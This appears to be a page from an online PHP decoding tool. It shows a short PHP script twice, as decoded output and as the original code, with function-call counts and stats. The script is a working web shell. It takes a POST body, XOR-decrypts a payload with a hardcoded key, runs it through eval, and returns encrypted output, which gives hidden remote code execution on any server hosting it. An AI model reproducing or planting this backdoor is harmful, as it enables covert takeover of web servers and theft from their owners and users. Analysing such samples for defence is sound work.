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PHP Decode
<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/'..
Decoded Output download
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = '55570a8ea758309f';
$content = file_get_contents("php://input");
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "
");
}
?>
Did this file decode correctly?
Original Code
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = '55570a8ea758309f';
$content = file_get_contents("php://input");
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "\n");
}
?>
Function Calls
explode | 1 |
file_get_contents | 1 |
Stats
MD5 | c9eb679cc55d9094be9c01089a25a242 |
Eval Count | 0 |
Decode Time | 76 ms |